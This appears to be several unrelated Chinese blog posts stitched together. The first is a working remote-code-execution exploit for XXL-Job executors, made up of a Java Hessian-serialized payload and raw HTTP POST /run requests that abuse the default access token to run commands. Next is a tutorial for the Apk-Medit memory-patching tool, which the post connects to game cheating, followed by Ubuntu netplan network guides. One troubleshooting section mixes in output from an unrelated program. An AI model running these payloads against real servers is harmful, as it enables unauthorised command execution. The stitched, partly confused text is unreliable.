public void onThrowable(Throwable t) {
System.out.println("HTTP出现异常");
t.printStackTrace();
super.onThrowable(t);
}
}).toCompletableFuture().join();

c.close();
} catch (Exception e) {
e.printStackTrace();
} finally {
try {
c.close();
} catch (IOException e) {
e.printStackTrace();
}
}


}

public static void main( String[] args ) throws Exception {

String code = "package com.xxl.job.service.handler;\n" +
"\n" +
"import com.xxl.job.core.log.XxlJobLogger;\n" +
"import com.xxl.job.core.biz.model.ReturnT;\n" +
"import com.xxl.job.core.handler.IJobHandler;\n" +
"import java.lang.Runtime;\n" +
"\n" +
"public class DemoGlueJobHandler extends IJobHandler {\n" +
"\n" +
"\t@Override\n" +
"\tpublic ReturnT<String> execute(String param) throws Exception {\n" +
" \tRuntime.getRuntime().exec(\"calc\");\n" +
"\t\treturn ReturnT.SUCCESS;\n" +
"\t}\n" +
"\n" +
"}\n";

System.out.println(code);

TriggerParam params = new TriggerParam();
params.setJobId(10);
params.setExecutorBlockStrategy("SERIAL_EXECUTION");
params.setLogId(10);
params.setLogDateTime((new Date()).getTime());
params.setGlueType("GLUE_GROOVY");
params.setGlueSource(code);
params.setGlueUpdatetime((new Date()).getTime());

XxlRpcRequest xxlRpcRequest = new XxlRpcRequest();
xxlRpcRequest.setRequestId("111");
xxlRpcRequest.setClassName("com.xxl.job.core.biz.ExecutorBiz");
xxlRpcRequest.setMethodName("run");
xxlRpcRequest.setParameterTypes(new Class[]{TriggerParam.class});
xxlRpcRequest.setParameters(new Object[] {params});
xxlRpcRequest.setCreateMillisTime((new Date()).getTime());

HessianSerializer serializer = new HessianSerializer();

byte[] data = serializer.serialize(xxlRpcRequest);
sendData("http://127.0.0.1:9999", data);

}
}

2、2.2.0<=XxlJob<=2.4.0

支持了RESTFUL API,可以直接发送http包伪造
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST /run HTTP/1.1
Host: 192.168.226.1:10999
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
XXL-JOB-ACCESS-TOKEN: default_token
Content-Type: application/json
Content-Length: 365

{
"jobId": 1,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "COVER_EARLY",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1586629003729,
"glueType": "GLUE_POWERSHELL",
"glueSource": "calc",
"glueUpdatetime": 1586699003758,
"broadcastIndex": 0,
"broadcastTotal": 0
}

3、XxlJob >= 2.4.0添加了默认token

作者为了修复该漏洞,添加了默认的token,但是这就如同nacos的jwt秘钥,shiro的默认key一样,由于使用者的粗心大意不修改该key,还是可以被利用
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST /run HTTP/1.1
Host: 192.168.226.1:10999
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
XXL-JOB-ACCESS-TOKEN: default_token
Content-Type: application/json
Content-Length: 365

{
"jobId": 1,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "COVER_EARLY",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1586629003729,
"glueType": "GLUE_POWERSHELL",
"glueSource": "calc",
"glueUpdatetime": 1586699003758,
"broadcastIndex": 0,
"broadcastTotal": 0
}

如何使用Apk-Medit对APK进行内存搜索和数据修改

如何使用Apk-Medit对APK进行内存搜索和数据修改

本文转自 Alpha_h4ck 并作补充

写在前面的话

内存修改往往是在游戏中实现作弊的最简单方法,而且内存也是我们在安全测试过程中必须要去面对和检测的一个内容。虽然现在社区也已经有类似GameGuardian这种的工具了,但现在还没有针对非Root设备的类似工具。Apk-Medit这款工具是一个针对可调式APK的内存搜索和数据修改工具,该工具专为移动端游戏安全测试而设计,我们可以在非Root设备(无需NDK)中使用该工具。

工具安装

首先,我们需要访问该项目的【GitHub Releases页面】来下载该项目源码。下载完成之后,我们需要将代码拷贝至目标安卓设备的/data/local/tmp/目录下:

1
2
3
$ adb push medit /data/local/tmp/medit

medit: 1 file pushed. 29.0 MB/s (3135769 bytes in 0.103s)

代码构建

我们可以使用make命令来完成代码的构建,这里要求使用Go编译器。代码构建完成之后,使用adb连接设备,它将会把构建好的代码推送至目标Android设备的/data/local/tmp/目录下:

1
2
3
4
5
6
7
$ make

GOOS=linux GOARCH=arm64 GOARM=7 go build -o medit

/bin/sh -c "adb push medit /data/local/tmp/medit"

medit: 1 file pushed. 23.7 MB/s (3131205 bytes in 0.126s)

工具命令

搜索

在内存中搜索特定的值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
> find 999982

Search UTF-8 String...

Target Value: 999982([57 57 57 57 56 50])

Found: 0!

------------------------

Search Word...

parsing 999982: value out of range

------------------------

Search Double Word...

Target Value: 999982([46 66 15 0])

Found: 1!

Address: 0xe7021f70

我们还可以指定目标数据类型,比如说字符串、dword和qword等等:

1
2
3
4
5
6
7
8
9
> find dword 999996

Search Double Word...

Target Value: 999996([60 66 15 0])

Found: 1!

Address: 0xe7021f70

过滤

我们可以对搜索结果进行过滤,并匹配当前的搜索值:

1
2
3
4
5
6
7
8
9
> filter 993881

Check previous results of searching dword...

Target Value: 993881([89 42 15 0])

Found: 1!

Address: 0xe7021f70

数据修改

我们可以直接修改目标地址的数据值:

1
2
3
> patch 10

Successfully patched!

ps命令

寻找目标进程,如果只有一个的话,我们可以使用ps命令来自动指定:

1
2
3
4
5
> ps

Package: jp.aktsk.tap1000000, PID: 4398

Target PID has been set to 4398.

绑定进程

如果目标PID是通过ps命令设置的,我们就可以跟目标进程进行绑定,并通过ptrace来终止App内的所有进程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
> attach

Target PID: 4398

Attached TID: 4398

Attached TID: 4405

Attached TID: 4407

Attached TID: 4408

Attached TID: 4410

Attached TID: 4411

Attached TID: 4412

Attached TID: 4413

Attached TID: 4414

Attached TID: 4415

Attached TID: 4418

Attached TID: 4420

Attached TID: 4424

Attached TID: 4429

Attached TID: 4430

Attached TID: 4436

Attached TID: 4437

Attached TID: 4438

Attached TID: 4439

Attached TID: 4440

Attached TID: 4441

Attached TID: 4442

如果目标PID没有设置的话,我们就需要在命令行中专门指定了:

1
> attach <pid>

解绑进程

解绑已绑定的进程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
> detach

Detached TID: 4398

Detached TID: 4405

Detached TID: 4407

Detached TID: 4408

Detached TID: 4410

Detached TID: 4411

Detached TID: 4412

Detached TID: 4413

Detached TID: 4414

Detached TID: 4415

Detached TID: 4418

Detached TID: 4420

Detached TID: 4424

Detached TID: 4429

Detached TID: 4430

Detached TID: 4436

Detached TID: 4437

Detached TID: 4438

Detached TID: 4439

Detached TID: 4440

Detached TID: 4441

Detached TID: 4442

导出

显示内存导出数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
> dump 0xf0aee000 0xf0aee300

Address range: 0xf0aee000 - 0xf0aee300

----------------------------------------------

00000000 34 32 20 61 6e 73 77 65 72 20 28 74 6f 20 6c 69 |42 answer (to li|

00000010 66 65 20 74 68 65 20 75 6e 69 76 65 72 73 65 20 |fe the universe |

00000020 65 74 63 7c 33 29 0a 33 31 34 20 70 69 0a 31 30 |etc|3).314 pi.10|

00000030 30 33 20 61 75 64 69 74 64 20 28 61 76 63 7c 33 |03 auditd (avc|3|

00000040 29 0a 31 30 30 34 20 63 68 61 74 74 79 20 28 64 |).1004 chatty (d|

00000050 72 6f 70 70 65 64 7c 33 29 0a 31 30 30 35 20 74 |ropped|3).1005 t|

00000060 61 67 5f 64 65 66 20 28 74 61 67 7c 31 29 2c 28 |ag_def (tag|1),(|

00000070 6e 61 6d 65 7c 33 29 2c 28 66 6f 72 6d 61 74 7c |name|3),(format||

00000080 33 29 0a 31 30 30 36 20 6c 69 62 6c 6f 67 20 28 |3).1006 liblog (|

00000090 64 72 6f 70 70 65 64 7c 31 29 0a 32 37 31 38 20 |dropped|1).2718 |

000000a0 65 0a 32 37 31 39 20 63 6f 6e 66 69 67 75 72 61 |e.2719 configura|

000000b0 74 69 6f 6e 5f 63 68 61 6e 67 65 64 20 28 63 6f |tion_changed (co|

000000c0 6e 66 69 67 20 6d 61 73 6b 7c 31 7c 35 29 0a 32 |nfig mask|1|5).2|

000000d0 37 32 30 20 73 79 6e 63 20 28 69 64 7c 33 29 2c |720 sync (id|3),|

000000e0 28 65 76 65 6e 74 7c 31 7c 35 29 2c 28 73 6f 75 |(event|1|5),(sou|

000000f0 72 63 65 7c 31 7c 35 29 2c 28 61 63 63 6f 75 6e |rce|1|5),(accoun|

退出

如需退出该工具,可以使用exit命令或按下Ctrl+D:

1
2
3
> exit

Bye!

工具测试

我们可以使用make命令来运行测试代码:

1
$ make test

工具使用Demo

image

image

Ubuntu Server 配置无线网络

Ubuntu Server 配置无线网络

本文转自 muzing 并作补充

本文简单记录了在 Ubuntu Server 22.04 上通过 Netplan 工具配置网络,连接到 WLAN 的过程。

准备工作

安装无线网络相关配置工具:

  • network-manager - 网络管理工具
  • wpasupplicant - 提供对 WPA 加密的支持
  • wireless-tools - 提供 iwconfig、iwlist 等无线网络配置工具
1
sudo apt install network-manager wpasupplicant wireless-tools

查看网卡硬件:

1
2
3
ifconfig -a
# 或者使用
ip a

image

根据上面的查询结果获得无线网卡名称,记住该名称。(无线网卡的名称一般以 wlanwlp 开头,详情参考本文附录a。)

如果没有看到列出无线网卡,除硬件故常或接触不良外,还可能是因为无线网卡未启动。可以尝试使用如下命令将其启动:

1
sudo ifconfig wlan0 up  # 启动名为 wlan0 的网络设备

扫描无线网络

在准备工作中已经安装了 wireless-tools,可以使用 iwlist 命令扫描当前环境中的 Wi-Fi 信号:

1
sudo iwlist wlan0 scan  # 注意将 wlan0 换成实际无线网卡的设备名

输出的结果非常详细,也非常长:

image

如果太多信息造成干扰,可以使用 Linux 的 grep 命令对输出信息进行筛选,例如:

1
2
sudo iwlist wlan0 scan | grep ESSID  # 仅查看 Wi-Fi 名称
sudo iwlist wlan0 scan | grep -E "Quality|ESSID" # 查看 Wi-Fi 名称和网络质量

image

编辑配置文件

进入 Netplan 配置目录,查看其中的默认配置文件:

1
2
3
$ cd /etc/netplan/
$ ls
50-cloud-init.yaml

此机器上的配置文件名为 50-cloud-init.yaml。由于安装方式、系统版本等差异,配置文件的名称可能有所不同,但都是 yaml 格式、位于 /etc/netplan/ 下,根据实际情况使用。使用管理员权限编辑该文件:

1
sudo vim /etc/netplan/50-cloud-init.yaml

添加如下内容:

1
2
3
4
5
6
wifis:
wlan0:
dhcp4: true
access-points:
"你的ssid":
password: "你的密码"

其中 wlan0 为无线网卡名称,dhcp4 表示开启自动IP地址分配,在 access-points 下可以设置多组 ssid(即通常所说的“Wi-Fi名称”)与密码。

更新后,配置文件内容大致如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
network:
version: 2
renderer: NetworkManager

ethernets:
eth0:
dhcp4: true
optional: true

wifis:
wlan0:
dhcp4: true
access-points:
"wifi_name1":
password: "mypassword"
"666":
password: "66666666"

连接网络

修改配置文件后,不要立即将其应用生效,而要先使用 netplan try 命令验证新的配置是否有效:

1
sudo netplan try  # 检查配置文件中是否有语法错误、尝试用新的配置

image

如果新的网络配置没有问题,则会出现上面的界面,按下键盘 ENTER 确认即可。如果此时本来就是通过网络以 SSH 方式控制服务器,而新的网络配置出现问题导致连接断开,也不必惊慌,等待两分钟让 netplan 恢复之前的配置即可。

1
2
sudo netplan generate  # 生成 renderers 所需的配置文件
sudo netplan apply # 应用 netplan 新配置,将自动重启 network-manager 使修改生效

检查是否已连接至网络(以下任一条命令均可):

1
2
3
iwconfig
ifconfig
ip a

如仍未连接至网络,可以尝试手动重启 NetworkManager 或服务器:

1
2
sudo systemctl restart NetworkManager.service
sudo reboot

附录a:网卡设备名称简析

在使用 ifconfig -aip a 列出本机所有网卡设备名称时,可能看到若干名称,其含义简单分析如下:

  • lo 表示 local
  • en 表示 ethernet 以太网
  • wl 表示 wlan,即 Wireless Local Area Network 无线局域网
  • 后面的 p2s0 等表示 PCIe 接口的物理位置(bus, slot),总线与插槽

例如, wlp4s0 表示一张位于 PCIe 总线4 插槽0 的无线网卡。

附录b:树莓派连接无线网络

在使用新安装 Ubuntu Server 系统的树莓派时,可能遇到手头没有显示器、也没有有线网络连接的情况。这时本可以通过电脑 SSH 连接至树莓派进行远程开发,但前提是树莓派必须已经接入无线局域网络;而为了让树莓派接入网络,又需要用 SSH 连接后才能修改 Netplan 配置文件,陷入僵局。解决问题的办法是,在树莓派系统启动之前就完成对网络的配置:通过修改安装着树莓派的操作系统的存储卡中的特定文件即可实现。

将存储卡通过读卡器连接到电脑,可以看到 system-boot 和 writable 两个分区,打开 system-boot 分区,搜索名为 network-config 的文件:

image

使用文本编辑工具打开该文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# This file contains a netplan-compatible configuration which cloud-init will
# apply on first-boot (note: it will *not* update the config after the first
# boot). Please refer to the cloud-init documentation and the netplan reference
# for full details:
#
# https://netplan.io/reference
# https://cloudinit.readthedocs.io/en/latest/topics/network-config.html
# https://cloudinit.readthedocs.io/en/latest/topics/network-config-format-v2.html
# ...

# Some additional examples are commented out below

network:
version: 2

ethernets:
eth0:
dhcp4: true
optional: true

# wifis:
# wlan0:
# dhcp4: true
# optional: true
# access-points:
# myhomewifi:
# password: "S3kr1t"
# myworkwifi:
# password: "correct battery horse staple"
# workssid:
# auth:
# key-management: eap
# method: peap
# identity: "me@example.com"
# password: "passw0rd"
# ca-certificate: /etc/my_ca.pem

可以看到,该文件的格式与语法正是 Netplan 形式,用于在首次启动系统时初始化 Netplan 配置。参考原本注释掉的示例和本文正文,编辑该配置文件,添加 Wi-Fi 信息并保存。

完成配置文件的编辑后,将存储卡插回到树莓派中,通电开机,即会自动连接至无线网络。进入路由器后台管理,即可看到设备名为 ubuntu 的设备,记住其局域网 IP 地址,在电脑上使用 ssh 连接即可:

1
ssh ubuntu@192.168.3.24

如果没有路由器的管理员权限,无法进入后台查看树莓派的 IP,可以在电脑上尝试使用 Angry IP Scanner 等 IP 扫描工具寻找。

附录c:Netplan原理简述

Netplan 本身只是一个用于网络配置的辅助小工具,它将读取 /etc/netplan/*.yaml 配置文件,然后据此生成 renderer 所需的配置文件,并重启 renderer 使修改生效。目前 Netplan 支持的 renderer 包括 NetworkManagerSystemd-networkd 两种。这样用户只需修改简洁清晰、YAML格式、统一的 Netplan 配置文件,而无需为每个 renderer 编辑其配置文件。

image

参考

netplan网络配置

netplan网络配置

本文转自 cloud-atlas 并作补充

Ubuntu发行版默认使用 netplan.io 配置网络接口,例如我在在 树莓派Ubuntu网络设置 中就使用了netplan。netplan支持后端使用 networkd 或者 network-manager 进行管理配置。

netplan简介

image

激活netplan

Ubuntu在服务器版本默认激活了netplan来配置管理网络,但是在桌面版本,则默认使用NetworkManager管理网络。例如 Jetson Nano快速起步 可以看到Jetson使用Ubuntu的18.04桌面版本,所以我们需要安装并激活netplan。

  • 安装netplan:

    1
    apt install netplan.io

备注

Ubuntu 18.04.4 LTS 上,提供了2个软件包:

1
2
netplan
netplan.io

建议完整安装 netplan.io ,这个版本跟随 netplan.io 官方更新,修复了一些问题。

当前 Ubuntu 20.04.3 LTS 已默认安装 netplan.io ,不再提供旧版本 netplan

使用netplan配置静态IP

对于Kubernetes master等服务器,我期望IP地址是固定的IP地址,所以准备配置static IP。不过,Ubuntu 18系列的静态IP地址配置方法和以前传统配置方法不同,采用了 .yaml 配置文件,通过 netplan 网络配置工具来修改。

备注

根据Ubuntu的安装不同,有可能你的安装并没有包含Netplan,则依然可以采用传统的Debian/Ubuntu配置静态IP的方法,即直接修改 /etc/network/interfaces 来实现。不过,从Ubuntu 17.10 开始,已经引入了 Netplan 网络配置工具。

Netplan允许通过YAML抽象来配置网络接口,在 NetworkManagersystemd-networkd 网络服务(引用为 renderers )结合共同工作。

Netplan会读取 /etc/netplan/*.yaml 配置文件来设置所有的网络接口。

列出所有激活的网络接口

  • 使用 ifconfig 命令列出所有网络接口:

    1
    ifconfig -a

例如,看到的输出数据(DHCP):

1
2
3
4
5
6
7
8
ens2: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
inet 192.168.122.61 netmask 255.255.255.0 broadcast 192.168.122.255
inet6 fe80::5054:ff:fe97:c338 prefixlen 64 scopeid 0x20<link>
ether 52:54:00:97:c3:38 txqueuelen 1000 (Ethernet)
RX packets 382 bytes 45170 (45.1 KB)
RX errors 0 dropped 84 overruns 0 frame 0
TX packets 165 bytes 22890 (22.8 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
  • 默认在 /etc/netplan 目录下有一个 01-netcfg.yaml 内容如下:

netplan初始DHCP配置

1
2
3
4
5
6
7
8
# This file describes the network interfaces available on your system
# For more information, see netplan(5).
network:
version: 2
renderer: networkd
ethernets:
ens2:
dhcp4: yes

备注

如果安装操作系统的时候没有自动创建一个 YAML 配置文件,可以通过以下命令先生成一个:

1
sudo netplan generate

不过,对于Ubuntu的desktop, server, cloud版本,自动生成的配置文件会采用不同的名字,例如 01-network-manager-all.yaml01-netcfg.yaml

  • 编辑 /etc/netplan/01-netcfg.yaml :

netplan 静态IPP配置

1
2
3
4
5
6
7
8
9
10
11
network:
version: 2
renderer: networkd
ethernets:
ens2:
dhcp4: no
dhcp6: no
addresses: [192.168.122.11/24, ]
gateway4: 192.168.122.1
nameservers:
addresses: [192.168.122.1, ]
  • 执行以下命令生效(注意在控制台执行,否则网络会断开):

    1
    sudo netplan apply
  • 验证检查 ifconfig -a 可以看到IP地址已经修改成静态配置IP地址

netplan配置一个网卡多个IP

有时候需要在一个网卡上配置多个IP地址,实现单臂网桥路由,netplan也支持 interface alias 。配置方法很简单:

1
2
3
4
5
6
7
8
9
network:
version: 2
renderer: networkd
ethernets:
enp3s0:
addresses:
- 10.100.1.38/24
- 10.100.1.39/24
gateway4: 10.100.1.1

或者:

1
2
3
ethernets:
enp3s0:
addresses: [ 10.100.1.38/24, 10.100.1.39/24 ]

执行 netplan apply 可以看到系统网卡:

1
2
enp3s0
enp3s0:1

分配了IP地址 10.100.1.3810.100.1.39

netplan配置有线802.1x认证

企业网络常常会使用802.1x网络实现认证,不仅无线可以通过这种方式加强安全,有线网络也可以实现。netplan也支持在有线网络上加上认证功能,配置案例有些类似后文 WPA Enterprise无线网络 ,案例 01-eno4-config.yaml 如下:

netplan 802.1x配置

1
2
3
4
5
6
7
8
9
10
11
12
13
network:
version: 2
renderer: networkd
ethernets:
eno4:
dhcp4: yes
dhcp6: no
macaddress: xx:xx:xx:xx:xx:xx
auth:
key-management: 802.1x
method: peap
identity: "USERNAME"
password: "PASSWD"

然后执行 netplan apply 即完成网络激活

netplan配置无线

连接开放无线网络

对于没有密码要求的无线网络,只需要定义access point:

1
2
3
4
5
6
7
network:
version: 2
wifis:
wlan0:
access-points:
"open_network_ssid_name": {}
dhcp4: yes

连接WPA Personal无线

对于采用WPA密码保护的无线网络,配置access-point和对应的password就可以。

  • 配置 /etc/netplan/02-homewifi.yaml

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    network:
    version: 2
    renderer: networkd
    wifis:
    wlan0:
    dhcp4: yes
    dhcp6: no
    #addresses: [192.168.1.21/24]
    #gateway4: 192.168.1.1
    #nameservers:
    # addresses: [192.168.0.1, 8.8.8.8]
    access-points:
    "network_ssid_name":
    password: "**********"

WPA Enterprise无线网络

在企业网络中,常见的是使用 WPA 或 WPA2 Enterprise加密方式的无线网络,则需要添加认证信息。

  • 以下案例是 WPA-EAP 和 TTLS 加密无线网络连接配置:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    network:
    version: 2
    wifis:
    wl0:
    access-points:
    workplace:
    auth:
    key-management: eap
    method: ttls
    anonymous-identity: "@internal.example.com"
    identity: "joe@internal.example.com"
    password: "v3ryS3kr1t"
    dhcp4: yes
  • 以下案例是 WPA-EAP 和 TLS加密无线网络:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    network:
    version: 2
    wifis:
    wl0:
    access-points:
    university:
    auth:
    key-management: eap
    method: tls
    anonymous-identity: "@cust.example.com"
    identity: "cert-joe@cust.example.com"
    ca-certificate: /etc/ssl/cust-cacrt.pem
    client-certificate: /etc/ssl/cust-crt.pem
    client-key: /etc/ssl/cust-key.pem
    client-key-password: "d3cryptPr1v4t3K3y"
    dhcp4: yes

netplan mac spoof

如果使用 networkd 后端,则不支持wifi匹配,只能使用接口名字。以下为举例:

1
2
3
4
5
6
7
8
9
network:
version: 2
renderer: networkd
wifis:
wlan0:
dhcp4: yes
dhcp6: no
macaddress: xx:xx:xx:xx:xx:xx
...

如果使用NetworkManager后端,还可以采用 match: 方法:

1
2
3
4
5
6
7
8
9
10
11
network:
version: 2
renderer: networkd
wifis:
wlan0:
dhcp4: yes
dhcp6: no
match:
macaddress: yy:yy:yy:yy:yy:yy
macaddress: xx:xx:xx:xx:xx:xx
...

netplan配置bonding

简单active-backup bonding

  • 参考原先安装虚拟机自动生成的 /etc/netplan/50-cloud-init.yaml 注释内容,禁用cloud-init网络配置,即创建 /etc/cloud/cloud.cfg.d/99-disable-network-config.cfg 内容如下:

    1
    network: {config: disabled}

备份原配置:

1
2
3
cp /etc/netplan/50-cloud-init.yaml ~/
cd /etc/netplan
rm -f 50-cloud-init.yaml
  • 编辑 /etc/netplan/01-netcfg.yaml

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    network:
    version: 2
    renderer: networkd
    ethernets:
    ens33:
    dhcp4: no
    dhcp6: no
    ens38:
    dhcp4: no
    dhcp6: no
    bonds:
    bond0:
    interfaces: [ens33, ens38]
    parameters:
    mode: active-backup
    mii-monitor-interval: 1
    primary: ens33
    addresses: [192.168.161.10/24, ]
    gateway4: 192.168.161.1
    nameservers:
    addresses: [127.0.0.53, ]

bonding上增加VLAN

  • 编辑 /etc/netplan/01-netcfg.yaml

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    network:
    version: 2
    renderer: networkd
    ethernets:
    eth0:
    dhcp4: no
    dhcp6: no
    eth1:
    dhcp4: no
    dhcp6: no
    bonds:
    bond0:
    interfaces: [eth0, eth1]
    parameters:
    mode: active-backup
    mii-monitor-interval: 1
    primary: eth0
    vlans:
    bond0.22:
    id: 22
    link: bond0
    addresses: [ "192.168.1.24/24" ]
    gateway4: 192.168.1.1
    nameservers:
    addresses: [ "192.168.1.1", "192.168.1.17", "192.168.1.33" ]
    search: [ "huatai.me", "huatai.net", "huatai.com" ]

备注

Red Hat Enterprise Linux 7 Networking Guide Using Channel Bonding 提供了详细的参数设置,通常 miimon=time_in_milliseconds 设置 100 表示100ms,也就是 0.1s 。不过这里我参考netplan文档设置为1s。

有关 VLAN over bonding配置请参考 Netplan - configuring 2 vlan on same bonding

没有netplan配置systemd-networkd

实际上你可以不使用netplan也不使用NetworkManager就可以配置网络,因为 Systemd进程管理器 实际上提供了完整的系统配置功能。默认启动的 systemd-networkd 接管了所有网络配置,所以手工添加配置也可以实现配置。

所有的 systemd-networkd 配置位于 /etc/systemd/network/ 目录下,例如, enp0s25.network 配置内容:

1
2
3
4
5
6
7
[Match]
Name=enp0s25

[Network]
Address=192.168.6.9/24
GATEWAY=192.168.6.10
DNS=192.168.6.10

此时只需要重新加载一次 systemd-networkd 就可以:

1
systemctl restart systemd-networkd

netplan问题排查

警告

netplan似乎不需要作为服务启动,而仅仅是作为一个前端工具,实际调用的是 networkd 和 NetworkManager来完成配置。我在Jetson Nano的Ubuntu 18.04使用netplan失败,似乎这个版本比较老,和现有netplan文档不能对齐,并且使用也很怪异,所以我还是使用 切换NetworkManager 重新切回NetworkManager进行管理。

以下是一些debug经验记录,仅供参考。

切换NetworkManager 之后,我在 NVIDIA Jetson 上将NetworkManager切换成netplan。但是,我发现 netplan apply 之后,网卡上并没有绑定静态配置的IP地址。虽然看上去 /etc/netplan/01-netcfg.yaml 和原先在树莓派上运行的Ubuntu 20.04没有什么区别:

1
2
3
4
5
6
7
8
9
10
network:
version: 2
renderer: networkd
ethernets:
eth0:
dhcp4: no
dhcp6: no
addresses: [192.168.6.10/24, ]
nameservers:
addresses: [202.96.209.133, ]

既然使用 networkd 作为 renderer ,就应该生成 systemd-networkd 使用的配置文件,但是在 /etc/systemd/network 目录下没有生成任何配置文件。

参考 networkd not applying config - missing events? 可以看到,需要使用 networkctl list 查看一下网卡是否受到管理:

1
networkctl list

果然,我输出显示:

1
2
3
4
5
6
7
8
IDX LINK             TYPE               OPERATIONAL SETUP
1 lo loopback carrier unmanaged
2 dummy0 ether off unmanaged
3 eth0 ether routable unmanaged
4 wlan0 wlan off unmanaged
5 l4tbr0 ether off unmanaged
6 rndis0 ether no-carrier unmanaged
7 usb0 ether no-carrier unmanaged

对比树莓派上 networkctl list 显示输出:

1
2
3
4
IDX LINK  TYPE     OPERATIONAL SETUP
1 lo loopback carrier unmanaged
2 eth0 ether routable configured
3 wlan0 wlan routable configured

networkctl

参考 networkctl — Query the status of network links networkctl 可以用于检查网络连线的状态是否被 systemd-networkd 看到。参考 systemd-networkd.service, systemd-networkd — Network manager :

  • systemd-networkd 会管理在 [Match] 段落找到的 .network 文件中的任何连接来管理网络地址和路由。
  • 由于我执行 netplan apply 没有生成对应的 networkd 配置文件,所以导致网络没有配置

我尝试先创建空的 /etc/netplan 目录,然后执行:

1
netplan -d generate

显示:

1
2
3
4
5
6
7
netplan: netplan version 2.2 starting at Tue Oct 13 22:54:14 2020
netplan: database directory is /var/lib/plan/netplan.dir
netplan: user "netplan" is uid 63434 gid 63434
netplan: switching from user <root> to <uid 63434 gid 63434>
netplan: running with uid=63434 gid=63434 euid=63434 egid=63434
netplan: reading access list file /var/lib/plan/netplan.dir/.netplan-acl
netplan: netplan/tcp not found in /etc/services, using ports 2983 and 5444
  • 仔细检查了 systemctl status netplan ,发现原因了:没有激活netplan daemon:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    ● netplan.service - LSB: Netplan calendar service.
    Loaded: loaded (/etc/init.d/netplan; generated)
    Active: active (exited) since Tue 2020-10-13 21:12:52 CST; 1h 47min ago
    Docs: man:systemd-sysv-generator(8)
    Process: 4631 ExecStart=/etc/init.d/netplan start (code=exited, status=0/SUCCESS)

    10月 13 21:12:51 jetson systemd[1]: Starting LSB: Netplan calendar service....
    10月 13 21:12:52 jetson netplan[4631]: Netplan daemon not enabled in /etc/init.d/netplan.
    10月 13 21:12:52 jetson systemd[1]: Started LSB: Netplan calendar service..

上述日志显示在 /etc/init.d/netplan 中没有激活netplan服务,所以实际该服务状态是 active(exited) ,也就是退出状态。

编辑 /etc/init.d/netplan 文件,将:

1
2
# Set ENABLED=0 to disable, ENABLED=1 to enable.
ENABLED=0

修改成:

1
2
# Set ENABLED=0 to disable, ENABLED=1 to enable.
ENABLED=1
  • 然后再次执行启动 netplan

    1
    systemctl start netplan

此时提示:

1
Warning: The unit file, source configuration file or drop-ins of netplan.service changed on disk. Run 'systemctl daemon-reload' to reload units.

所以按照提示执行:

1
2
systemctl daemon-reload
systemctl restart netplan

启动之后再次检查 systemctl status netplan 则可以看到状态:

1
2
3
4
5
6
7
8
9
10
11
12
● netplan.service - LSB: Netplan calendar service.
Loaded: loaded (/etc/init.d/netplan; generated)
Active: active (running) since Tue 2020-10-13 23:07:44 CST; 1min 8s ago
Docs: man:systemd-sysv-generator(8)
Process: 8386 ExecStop=/etc/init.d/netplan stop (code=exited, status=0/SUCCESS)
Process: 8430 ExecStart=/etc/init.d/netplan start (code=exited, status=0/SUCCESS)
Tasks: 1 (limit: 4174)
CGroup: /system.slice/netplan.service
└─8464 /usr/sbin/netplan

10月 13 23:07:43 jetson systemd[1]: Starting LSB: Netplan calendar service....
10月 13 23:07:44 jetson systemd[1]: Started LSB: Netplan calendar service..
  • 但是比较奇怪,我执行 netplan -d generate 始终不生成配置文件,仅提示:

    1
    2
    3
    4
    5
    6
    7
    netplan: netplan version 2.2 starting at Tue Oct 13 23:25:29 2020
    netplan: database directory is /var/lib/plan/netplan.dir
    netplan: user "netplan" is uid 63434 gid 63434
    netplan: switching from user <root> to <uid 63434 gid 63434>
    netplan: running with uid=63434 gid=63434 euid=63434 egid=63434
    netplan: reading access list file /var/lib/plan/netplan.dir/.netplan-acl
    netplan: netplan/tcp not found in /etc/services, using ports 2983 and 5444

根据 netplan-generate - generate backend configuration from netplan YAML files 说明:

  • netplan generate 是根据 netplan 的 yaml配置来调用networkd后端或者NetworkManager后端来生成对应后端服务的配置文件
  • 通常不需要独立运行 netplan generate ,只需要运行 netplan apply 就可以,因为 netplan apply 会自动调用 netplan generate ,而 netplan generate 只是为了验证配置生成
